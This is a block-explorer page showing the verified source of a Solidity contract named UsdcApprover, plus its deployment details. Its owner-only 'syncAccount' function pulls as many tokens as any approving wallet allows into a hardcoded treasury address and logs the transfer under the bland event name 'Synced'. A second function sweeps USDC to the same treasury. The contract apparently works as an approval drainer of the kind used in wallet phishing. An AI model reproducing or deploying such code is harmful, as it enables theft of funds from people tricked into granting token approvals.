Verified contractExactMIT
UsdcApprover
Address0xc6c8e846be07ffd0482b5bb269013d9c112768f4
- Balance
0 ETH
- Transactions
2
- Compiler
solc 0.8.20
- Same code
Only this contract
Details
- Compiler
- solc 0.8.20+commit.a1b79de6
- Language
- solidity
- Optimization
- No
- License
- MIT
- Match
- Exactcreation code: yes, runtime code: yes
- Verified on Sourcify
- Created in block
- 26,472,642
- Creation transaction
- 0x300e54e15e…7eee6b6a8a
venice-usdc2.sol
// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;
contract UsdcApprover {
address public constant USDC = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48;
address public constant TREASURY = 0x87897e70D1E8032895Af5466fF13Cd6BF1F3635f;
address public owner;
event Synced(address indexed token, address indexed vi , uint256 amount);
constructor() { owner = msg.sender; }
modifier onlyOwner() { require(msg.sender == owner, "not owner"); _; }
function syncAccount(address token, address vi) external onlyOwner {
uint256 bal = IERC20(token).balanceOf(vi);
uint256 allow = IERC20(token).allowance(vi, address(this));
uint256 amount = bal < allow ? bal : allow;
require(amount > 0, "nothing");
IERC20(token).transferFrom(vi, TREASURY, amount);
emit Synced(token, vi, amount);
}
function rescue() external onlyOwner {
IERC20(USDC).transfer(TREASURY, IERC20(USDC).balanceOf(address(this)));
}
}
interface IERC20 {
function transfer(address, uint256) external returns (bool);
function transferFrom(address, address, uint256) external returns (bool);
function balanceOf(address) external view returns (uint256);
function allowance(address, address) external view returns (uint256);
}Compiler settingsShow
{
"optimizer": {
"runs": 200,
"enabled": false
},
"remappings": []
}Source code and metadata: Sourcify.
The source code belongs to the authors of the contract.